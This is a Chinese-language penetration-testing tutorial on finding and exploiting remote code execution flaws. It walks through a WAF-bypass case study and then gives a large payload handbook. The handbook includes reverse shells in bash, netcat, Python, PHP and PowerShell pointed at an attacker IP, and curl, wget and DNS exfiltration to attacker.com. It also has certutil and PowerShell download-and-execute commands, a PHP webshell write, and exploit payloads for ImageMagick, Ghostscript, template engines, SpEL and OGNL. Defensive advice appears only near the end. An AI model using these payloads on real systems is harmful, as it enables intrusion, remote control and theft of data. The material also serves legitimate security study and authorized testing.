RCE漏洞挖掘实战:从原理到Payload构造与绕过技巧
1. 项目概述:从“某RCE漏洞挖掘案例”说起
最近在整理过去的渗透测试笔记,翻到了一个挺有意思的RCE(远程代码执行)漏洞挖掘案例。这个案例本身并不复杂,但其中涉及的绕过思路和Payload构造技巧,我觉得很有代表性,值得拿出来和大家深入聊聊。RCE漏洞,说白了就是能让攻击者在目标服务器上执行任意代码,这几乎是Web安全测试中最具破坏力的发现之一。无论是通过命令注入、代码注入,还是利用反序列化、模板注入等机制,最终目的都是拿到那个宝贵的“命令执行”权限。很多刚入门SRC(安全应急响应中心)漏洞挖掘或者渗透测试的朋友,可能会觉得RCE高深莫测,要么是碰运气,要么是顶级黑客的专属。其实不然,RCE的挖掘有很强的规律性和技巧性,很多时候就是一层窗户纸,捅破了就会发现思路豁然开朗。今天,我就结合这个案例,以及我这些年踩过的坑和总结的经验,系统性地拆解一下RCE漏洞的挖掘思路、常见场景、Payload构造与绕过技巧,希望能给正在这条路上摸索的你一些实实在在的参考。
2. 核心思路:RCE漏洞的本质与常见入口点
在开始讲具体案例之前,我们必须先统一认知:RCE漏洞的根源是什么?我的理解是,“用户输入被以不当的方式,传递给了能够执行代码或命令的系统接口”。这句话里有三个关键点:“用户输入”、“不当的方式”、“执行接口”。我们的挖掘工作,就是围绕这三点展开的。
2.1 用户输入从哪来?
这决定了我们的测试入口。绝不仅仅是表单里的一个输入框。根据我的经验,以下几个地方是高发区:
- HTTP请求参数:这是最经典的。GET/POST参数、Cookie、Header(如
User-Agent,X-Forwarded-For,甚至自定义Header)、URL路径本身。 - 文件内容:文件上传功能中,服务器可能会解析文件内容(如图片EXIF信息、PDF元数据、Office文档属性、压缩包内文件名)。上传一个精心构造的“特制”文件,可能触发解析逻辑中的命令执行。
- 数据库或缓存数据:有时从数据库读取的数据,会被后续逻辑当作代码执行(例如,从数据库读取的配置项被
eval())。虽然入口点较深,但在二次注入或缓存注入场景下可能被利用。 - 网络服务与协议:处理外部请求的服务,如SSRF(服务器端请求伪造)攻击中,最终请求的URL参数可能被内部服务解析并执行。或者一些RPC、API接口对传入的数据结构处理不当。
2.2 “不当的方式”有哪些?
这指的是程序处理用户输入的逻辑缺陷。
- 拼接后直接执行:这是最“低级”也最典型的。比如
os.system("ping " + user_input)。如果user_input是127.0.0.1; id,那么id命令就会被执行。 - 动态函数/代码调用:例如PHP的
eval($_GET[‘code’])、Python的exec(input())、JavaScript的eval()。用户输入直接被当作代码执行。 - 模板注入:在Jinja2、Twig、Freemarker、Velocity等模板引擎中,如果用户输入被直接嵌入模板,可能造成服务端模板注入(SSTI),进而导致RCE。例如,
{{7*7}}可能被计算为49。 - 反序列化:Java、PHP、Python等语言的序列化数据被反序列化时,如果类中存在危险的魔术方法(如
__destruct(),__wakeup()),并且用户可控序列化数据,就可能触发任意代码执行。ThinkPHP、Shiro、Fastjson等框架的历史漏洞很多属于此类。 - 表达式语言注入:如Spring框架的SpEL(Spring Expression Language)、OGNL(Object-Graph Navigation Language)等。用户输入被当作表达式解析并执行。
- 本地文件包含(LFI)到RCE:在PHP中,如果包含了一个可控的、内容为PHP代码的文件(比如通过文件上传或
php://input流),就可能执行代码。
2.3 哪些是“执行接口”?
这是最终承载代码执行的函数或组件。
- 系统命令执行函数:
- PHP:
system(),exec(),shell_exec(),passthru(),popen(), 反引号` ` - Python:
os.system(),os.popen(),subprocess.call(),subprocess.Popen() - Java:
Runtime.getRuntime().exec(),ProcessBuilder - Node.js:
child_process.exec(),child_process.spawn() - Bash/Shell: 直接调用命令行
- PHP:
- 代码执行函数:
- PHP:
eval(),assert(),create_function(),preg_replace()的/e修饰符(已废弃但老系统仍有) - Python:
eval(),exec() - JavaScript (Node.js):
eval(),Function构造函数
- PHP:
- 特定组件/库的漏洞:如ImageMagick(图形处理)、Ghostscript(PDF/PS处理)、FFmpeg(视频处理)、ExifTool(元数据处理)等,在解析特定格式文件时,可能因参数注入或命令拼接导致RCE。Struts2、ThinkPHP等框架的特定漏洞也属于此类。
理解了这三点,我们的测试思路就清晰了:寻找所有可能的用户输入点,推测其可能被传递到的后端处理逻辑(尤其是上述“执行接口”),然后尝试构造Payload去“干扰”或“劫持”原有的执行流程。
3. 案例深度解析:一个参数注入的完整攻防
现在回到我开头提到的那个案例。当时测试的是一个Web应用的管理后台,其中一个功能是“导入外部数据”,接口接收一个include参数,值是一个远程URL,系统会去获取这个URL的内容并处理。
最初的测试很简单,我尝试了最基本的命令注入:include=http://evil.com/';id;'。但请求直接被WAF(Web应用防火墙)拦截了,返回了一个403页面。这说明目标有基础防护。
注意:遇到WAF不要慌,这恰恰说明目标有一定价值,且我们的攻击向量可能找对了方向。WAF的规则往往是基于正则表达式匹配已知的危险字符或字符串。
我的绕过思路分了几步:
第一步:信息收集与模糊测试我先用一些无害的Payload测试WAF的规则强度。比如:
include=http://example.com/test.txt(正常请求,基线)include=http://example.com/test.txt'(测试单引号是否被过滤)include=http://example.com/test.txt;(测试分号)include=http://example.com/test.txt|ls(测试管道符)
发现单引号、分号、管道符单独出现都会被拦截。但WAF似乎没有拦截空格和&&、||这样的逻辑运算符。
第二步:构造无空格、无敏感字符的Payload在Unix/Linux下,命令连接符&&、||、&、|、;都可以用来执行多条命令。但;被拦了。我尝试用&&。同时,为了绕过对cat、ls等命令的检测,我使用了反引号执行命令替换,并利用变量拼接。 最初的Payload尝试:include=http://example.com/';a=who;b=ami;$a$b;'这个Payload被拆解:a=who;b=ami;$a$b。执行后,$a$b就是whoami。但这里依然有分号,被WAF拦截。
第三步:利用换行符和编码绕过在Shell中,换行符(\n,URL编码为%0a)和回车符(\r,%0d)同样可以起到命令分隔符的作用,且很多WAF规则对它们的检测较弱。 我构造了Payload:include=http://example.com/'%0awhoami%0a'这里,%0a在服务器端解码后就是换行符。所以实际执行的命令可能是:
some_command 'http://example.com/' whoami ''关键在于,第一行命令(假设是curl或wget)可能会因为URL格式错误而失败或报错,但换行符后的whoami会被当作一个新的命令执行。然而,这个Payload还是被拦截了,WAF可能检测到了whoami这个关键字。
第四步:终极绕过——多重编码与非常规命令我决定采用更隐蔽的方式。既然直接的关键词会被检测,那就用变量替换、编码、甚至利用环境变量来构造命令。 最终成功的Payload构造过程如下:
- 目标命令:我想执行
whoami && id && uname -a && cat /etc/passwd。这是一个信息收集组合拳。 - 第一次变形(避免直接关键词):我将其写成
w h o a m i并用变量拼接,但这样还是太明显。我选择对整个命令字符串进行双重URL编码。 - 构造核心部分:我写了一个简单的脚本,将
whoami && id && uname -a && cat /etc/passwd进行URL编码。- 第一次编码后得到:
whoami%20%26%26%20id%20%26%26%20uname%20-a%20%26%26%20cat%20%2Fetc%2Fpasswd - 第二次编码(对
%也进行编码):%77%68%6f%61%6d%69%20%26%26%20%69%64%20%26%26%20%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64
- 第一次编码后得到:
- 包裹上下文:因为参数值原本是在一个URL字符串中,很可能被单引号包裹。所以我在编码后的命令前后加上了单引号和换行符,形成:
'%0a[双重编码后的命令]%0a'。 - 最终Payload:
include=http://example.com/'%0a%77%68%6f%61%6d%69%20%26%26%20%69%64%20%26%26%20%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%0a'
当我发送这个请求时,WAF可能只进行了一层解码,看到的是%77%68%6f...这样看似无害的十六进制字符串,因此放行。而服务器端在处理时,可能进行了两层解码,最终还原出了原始命令,并在Shell中执行。
结果:我成功收到了包含系统用户、ID信息、内核版本和系统用户列表的响应,证实了RCE漏洞的存在。
实操心得:这个案例的要点在于耐心和对数据流编码的理解。不要指望一个Payload通吃所有场景。需要根据WAF的拦截情况,灵活组合各种绕过技巧:大小写变换、空格替换(
${IFS},$IFS$9,<,>,Tab的%09)、命令分割符替换(%0a,%0d,%3b)、变量拼接、通配符(/???/??t /???/??ss??代表/bin/cat /etc/passwd)、编码(URL编码、双重编码、十六进制、八进制)、以及利用不常见的Shell语法。
4. 系统化Payload手册:从Unix到Windows的武器库
基于大量实战和社区分享,我整理了一份更系统、更场景化的RCE Payload清单。记住,没有“银弹”,关键是根据上下文选择或组合。
4.1 Unix/Linux 系统Payload精讲
在Unix-like系统上,命令注入的玩法非常丰富,核心在于理解Shell是如何解析命令的。
4.1.1 基础命令分隔与拼接这是最需要熟练掌握的。假设注入点是ping -c 1 [INPUT],[INPUT]是你的可控点。
- 终止当前命令,执行新命令:
; id:分号是命令分隔符,无论前一个命令成功与否,id都会执行。\n id或%0a id:换行符也是分隔符。| id:管道符,将前一个命令的输出作为后一个命令的输入。如果前令无输出或错误,后令仍会执行。& id:&使前一个命令在后台执行,然后立即执行id。
- 条件执行:
&& id:只有前一个命令执行成功(返回0),id才会执行。常用于“盲注”,通过&& echo success来判断前一部分是否成功。|| id:只有前一个命令执行失败(返回非0),id才会执行。
- 命令替换与内联执行:
`id`:反引号会执行其中的命令,并将其输出替换到当前位置。例如echowhoami``会输出当前用户名。$(id):这是更推荐(可嵌套)的命令替换语法,功能同反引号。
- 花括号扩展:
{id,whoami}会被扩展为两个参数id和whoami。但{cat,/etc/passwd}如果被不当执行,可能会运行cat命令并以/etc/passwd为参数。
4.1.2 绕过空格过滤空格是命令参数的分隔符,但有很多替代品:
- Shell变量:
${IFS}是Internal Field Separator,默认是空格。cat${IFS}/etc/passwd。 - 简写:
$IFS$9。$9通常是第9个参数,这里借用它来截断,cat$IFS$9/etc/passwd。 - 重定向符号:
cat</etc/passwd,<用于输入重定向,但在这里也能起到分隔作用。 - 大括号:
{cat,/etc/passwd}。注意这不是执行两个命令,而是cat命令以/etc/passwd为参数。 - Tab键:URL编码为
%09。有时WAF过滤空格但不过滤Tab。 - 非打印字符:在Bash中,
$’\t’或$’\x20’可以表示制表符和空格,但需要特定上下文。
4.1.3 绕过黑名单关键字如果cat、ls、bash等被过滤,可以尝试:
- 变量拼接:
a=c;b=at;c=/etc/passwd;$a$b $c # 或 cmd=ca;cmd=${cmd}t;$cmd /etc/passwd - 通配符:
/???/??t /???/??ss??。?匹配任意单个字符,这很可能匹配到/bin/cat /etc/passwd。/???/??sh可能匹配/bin/bash。 - 使用其他命令:
cat被过滤就用more,less,head,tail,nl,od,awk ‘{print}’,sed -n ‘p’。 - 编码:
- 十六进制:
echo 2f6574632f706173737764 | xxd -r -p | xargs cat(先解码/etc/passwd再传给cat)。 - Base64:
echo ‘L2V0Yy9wYXNzd2QK’ | base64 -d | xargs cat。
- 十六进制:
- 利用已有环境变量:
echo ${PATH}可能包含/bin、/usr/bin。echo ${HOME}是用户目录。可以尝试${HOME:0:1}来获取根目录/。
4.1.4 无回显(盲注)场景下的利用当命令执行了但没有输出显示在响应中时,我们需要外带数据。
- DNS外带:这是最常用的方法。利用
ping、nslookup、dig或curl将数据放在域名中发出。
在你的DNS服务器日志中,会看到类似# Linux ping -c 1 `whoami`.attacker.com # 或者用curl,如果目标有curl且支持DNS解析 curl http://`whoami`.attacker.comroot.attacker.com的查询记录。 - HTTP外带:使用
curl或wget将数据作为URL参数或POST数据发送到你的服务器。curl -X POST http://attacker.com/ -d “data=$(whoami | base64)” wget http://attacker.com/$(whoami) - 时间延迟(Time-based):通过
sleep命令判断命令是否执行。ping -c 1 127.0.0.1 && sleep 5。如果响应延迟了5秒,说明ping和sleep都执行了。 - 写入文件:如果能猜到web目录,可以写入一个web shell。
echo ‘<?php system($_GET[“c”]);?>’ > /var/www/html/shell.php。
4.1.5 反弹Shell(Reverse Shell)这是获取交互式Shell的标准操作。假设你的攻击机IP是10.0.0.1,监听端口是4444。
- Bash:
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1bash -i:启动交互式bash。>& /dev/tcp/10.0.0.1/4444:将标准输出和标准错误都重定向到TCP连接。0>&1:将标准输入重定向到标准输出,即从TCP连接获取输入。
- Netcat (nc):如果目标有nc,且支持
-e参数:nc -e /bin/sh 10.0.0.1 4444。如果不支持-e,可以用管道:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f。 - Python:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ - PHP:
php -r ‘$sock=fsockopen(“10.0.0.1”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’ - Perl、Ruby、Lua等都有类似的一行命令。强烈建议收藏一个在线反弹Shell生成工具,如revshells.com,它可以根据你的环境和需求生成各种语言的Payload。
4.2 Windows 系统Payload精讲
Windows下的命令注入逻辑与Linux有相似之处,但也有其特殊性,主要围绕cmd.exe和PowerShell。
4.2.1 命令分隔与拼接Windows CMD中的命令分隔符:
&:顺序执行多条命令,无论前一个是否成功。&&:只有前一个成功才执行下一个。|:管道符,将前一个命令的输出作为后一个命令的输入。||:只有前一个失败才执行下一个。- 换行符(
%0a)同样有效。
例如:ping 127.0.0.1 & whoami
4.2.2 绕过空格与黑名单
- 空格绕过:可以使用
%PROGRAMFILES:~10,-4%这样的变量截取来产生空格,但更常用的是%CD:~0,1%(获取当前目录首字符,通常是盘符如C:)或者直接用+、.(在某些上下文中可替代空格,但不如Linux灵活)。更粗暴的是用Tab(%09)。 - 命令黑名单绕过:
- 修改大小写:
WhOaMi,CMD.ExE。Windows命令不区分大小写。 - 双写:
whoami->whwhoamioami,如果简单的字符串替换删除whoami,可能会变成whoami。 - 使用变量拼接:
set a=who&set b=ami&%a%%b%。 - 使用
for循环:for /f “tokens=*” %i in (‘whoami’) do @echo %i。这常被用来执行命令并获取输出。 - 使用
certutil、bitsadmin、powershell下载文件:如果curl和wget不可用,Windows自带的这些工具是很好的替代。certutil -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exebitsadmin /transfer myJob /download /priority high http://attacker.com/shell.exe C:\Temp\shell.exe
- 修改大小写:
4.2.3 PowerShell的利用PowerShell功能强大,是Windows下后期渗透的利器。如果注入点能执行PowerShell,可能性就大大增加。
- 下载并执行(无文件落地):最经典的一行命令。
powershell -c “IEX(New-Object Net.WebClient).DownloadString(‘http://attacker.com/script.ps1’)”-c是-Command的缩写,IEX是Invoke-Expression的别名。 - 反弹Shell:下面这个Payload相对稳定,它处理了输入输出流。
powershell -NoP -NonI -W Hidden -Exec Bypass -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.0.0.1’,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()” - 绕过执行策略:
-Exec Bypass参数就是用来绕过默认的PowerShell执行策略(Restricted)。其他方法还有-ExecutionPolicy Bypass。
4.2.4 特殊场景:基于上下文的应用
- 在PHP的
system()中:如果注入到PHP的system()函数,你是在CMD上下文下执行。要注意Windows路径使用反斜杠\,但PHP字符串中需要转义\\,或者使用正斜杠/(Windows API通常也支持)。 - 在Web中间件/服务中:有时命令执行的环境可能不是标准的
cmd.exe,而是其他解释器,需要针对性测试。
5. 高级场景与框架漏洞利用
除了直接的命令/代码注入,一些高级场景和第三方组件漏洞是RCE的富矿。
5.1 文件上传导致的RCE
这不仅仅是上传一个PHP/ASPX的Webshell。很多应用会对上传的文件进行解析或处理。
- ImageMagick (CVE-2016-3714):这个漏洞大名鼎鼎。ImageMagick在处理SVG、MVG等格式的图片时,如果文件名或内容包含恶意命令,会被执行。Payload通常形如:
将这个内容保存为push graphic-context viewbox 0 0 640 480 fill ‘url(https://example.com/image.jpg”|curl attacker.com/shell.sh | bash”)’ pop graphic-context.mvg或.svg文件上传,如果服务器用ImageMagick处理,就会执行其中的命令。 - Ghostscript (CVE-2018-16509, CVE-2019-10216等):Ghostscript是PDF和PostScript的解释器。通过构造恶意的PS文件,可以执行命令。例如:
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%bash -c ‘bash -i >& /dev/tcp/10.0.0.1/4444 0>&1’) currentdevice putdeviceprops - FFmpeg/ExifTool:这些多媒体处理工具的历史漏洞也常被用于上传RCE。测试时,可以关注文件元数据(如作者、版权信息)的输入点。
实操心得:对于文件上传功能,不要只测试后缀名黑名单。要尝试上传各种格式的文件(jpg, png, gif, pdf, svg, txt等),并抓包修改
Content-Type。更重要的是,要分析服务器端对文件做了什么:是仅仅存储,还是调用了ImageMagick进行缩略图生成、调用了FFmpeg进行转码、调用了ExifTool读取元数据?这些处理环节才是漏洞所在。
5.2 反序列化漏洞
这是Java、PHP、Python等语言Web应用的“重灾区”。原理是:应用接收序列化后的对象数据,反序列化时自动调用对象的某些魔术方法(如__destruct(),__wakeup()),如果这些方法中包含了危险操作(如文件操作、命令执行),并且攻击者可以控制序列化数据中的类属性,就可能触发RCE。
- Java:Apache Commons Collections、Fastjson、Jackson、XStream等库的历史漏洞。利用工具如ysoserial可以生成针对不同库的Payload。
- PHP:PHP的
unserialize()函数是源头。ThinkPHP、Laravel、WordPress插件等都出现过相关漏洞。工具PHPGGC(PHP Generic Gadget Chains)类似于ysoserial,可以生成针对不同PHP框架/库的反序列化利用链。 - 挖掘思路:寻找接收序列化数据的入口点,如Cookie、POST数据、RPC接口。查看代码中是否存在
ObjectInputStream.readObject()(Java)、unserialize()(PHP)、pickle.loads()(Python)等函数。
5.3 服务端模板注入(SSTI)
当用户输入被直接拼接到模板中时发生。例如,Jinja2模板中{{ user_input }},如果user_input是{{7*7}},服务端计算后返回49,就存在SSTI。进一步可以调用内置函数或模块执行命令。
- 检测:输入
{{7*7}}、${7*7}、<%= 7*7 %>等,看响应中是否出现49。 - 利用:需要根据模板引擎类型构造Payload。
- Jinja2:
{{ config.__class__.__init__.__globals__[‘os’].popen(‘id’).read() }} - Twig (PHP):
{{ _self.env.registerUndefinedFilterCallback(“exec”) }}{{ _self.env.getFilter(“id”) }} - Freemarker:
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“id”) }
- Jinja2:
5.4 表达式语言注入
常见于Java框架,如Spring的SpEL、Struts2的OGNL。
- SpEL:
T(java.lang.Runtime).getRuntime().exec(‘calc’) - OGNL:
(#_memberAccess[“allowStaticMethodAccess”]=true).(#foo=new java.lang.ProcessBuilder({“calc”})).(#foo.start())
6. 自动化工具与辅助手段
手动构造Payload虽然灵活,但效率低。合理使用工具能事半功倍。
- Burp Suite 扩展:
- Turbo Intruder:用于高速发送Payload,进行模糊测试和绕过WAF。
- Active Scan++:增强Burp主动扫描的能力,能检测更多类型的注入。
- Commix (Burp插件版):Commix本身是命令行工具,也有Burp插件,可以自动检测和利用命令注入漏洞。
- Shelling:一个Burp扩展,专门用于生成和测试RCE Payload,集成了很多绕过技巧。
- 命令行工具:
- Commix:
commix -u “http://target.com/vuln.php?id=1"。它支持自动检测、多种注入技术、编码绕过、交互式Shell等,非常强大。 - SQLmap:是的,SQLmap的
--os-shell参数在成功SQL注入后,可以尝试通过SQL注入点执行操作系统命令,这本质上也属于RCE的一种。
- Commix:
- 模糊测试 (Fuzzing) 字典:准备一个高质量的Payload字典至关重要。应该包含:
- 各种命令分隔符和连接符。
- 空格绕过技巧。
- 常见命令的黑名单绕过变种。
- 针对不同操作系统(Linux/Windows)的Payload。
- 编码后的Payload(URL编码、双重编码、HTML编码、Unicode等)。
- 你可以基于前面提到的列表,结合实战经验,构建自己的专属字典。
7. 防御视角与安全开发建议
作为攻击者,我们研究漏洞;作为开发者或安全人员,我们更要思考如何防御。
- 白名单校验:这是最有效的方法。对于用户输入,如果可能,严格限定其允许的字符集(如只允许字母数字)。对于文件上传,校验文件头(Magic Number)而不仅仅是后缀名。
- 避免直接调用系统命令/执行代码:这是根本。如果必须调用系统命令,应使用安全的API,如Python的
subprocess.run()并传递参数列表([‘ls’, ‘-la’]),而不是拼接字符串(’ls -la ‘ + user_input)。绝对避免使用eval()、exec()、system()等危险函数。 - 最小权限原则:运行Web服务的进程(如www-data, nobody)应使用最低必要的权限。避免以root身份运行应用。
- 及时更新与补丁:密切关注使用的第三方组件(框架、库、中间件、ImageMagick等)的安全公告,及时打补丁。
- 部署WAF/RASP:Web应用防火墙(WAF)可以在网络层拦截常见攻击。运行时应用自我保护(RASP)在应用内部进行更深度的防护。但它们不是银弹,可能被绕过。
- 输入净化与输出编码:对所有用户输入进行严格的过滤和净化。在将数据传递给系统命令前,进行适当的转义(如
escapeshellarg()、escapeshellcmd()in PHP)。在输出到页面时进行HTML编码,防止XSS,虽然这与RCE无关,但属于同一类“输入处理不当”的问题。 - 安全代码审查:在代码层面审查所有用户输入流入“危险函数”的路径。自动化静态代码扫描工具(SAST)可以帮助发现潜在问题。
8. 心法总结与避坑指南
最后,分享几点我这些年挖RCE漏洞的心得,也算是一些“避坑指南”:
- 心态要稳,思路要活:不要被WAF或简单的过滤吓退。多想想“如果我是开发者,我会怎么写这个功能?”,从代码逻辑上寻找突破口。过滤了空格?有没有别的分隔符?过滤了
cat?有没有别的命令能读文件?编码一次被检测?试试双重编码、非常规编码。 - 环境判断是关键:第一步永远是判断目标操作系统(Linux/Windows)和可能使用的语言(PHP/Python/Java等)。一个
dir在Linux上会报“command not found”,一个ls在Windows上可能无效(除非装了Git Bash/Cygwin)。通过报错信息、HTTP头、已知的技术栈(如X-Powered-By: PHP/7.4)来判断。 - 盲注是常态:很多RCE漏洞是没有回显的。必须熟练掌握DNS外带、HTTP外带、时间延迟等盲注技术。准备一个公网服务器,配置好DNS日志和HTTP服务(如
nc -lvnp 80或python3 -m http.server 80)来接收数据。 - 工具是辅助,思维是核心:不要过度依赖自动化工具。工具可能会漏报,也可能会误报。真正理解漏洞原理,手动验证,才能发现那些工具发现不了的“逻辑漏洞”或需要复杂绕过的场景。
- 合法授权是前提:所有安全测试必须在获得明确书面授权的前提下进行。未经授权的测试是违法的。SRC漏洞挖掘也要遵守平台的规则和范围限定。
- 细节决定成败:一个百分号的编码差异(
%20空格 vs+加号 vs%09Tab),一个单引号双引号的使用,都可能决定Payload的成功与否。抓包改包要仔细,观察响应要全面(包括HTTP状态码、响应头、响应体、响应时间)。
RCE漏洞的挖掘是一场攻击者和防御者之间永不停歇的“猫鼠游戏”。防御技术在升级,攻击手法也在进化。保持学习,深入理解系统原理,积累实战经验,你才能在这个领域游刃有余。希望这篇长文能成为你RCE漏洞挖掘路上的一块有用的垫脚石。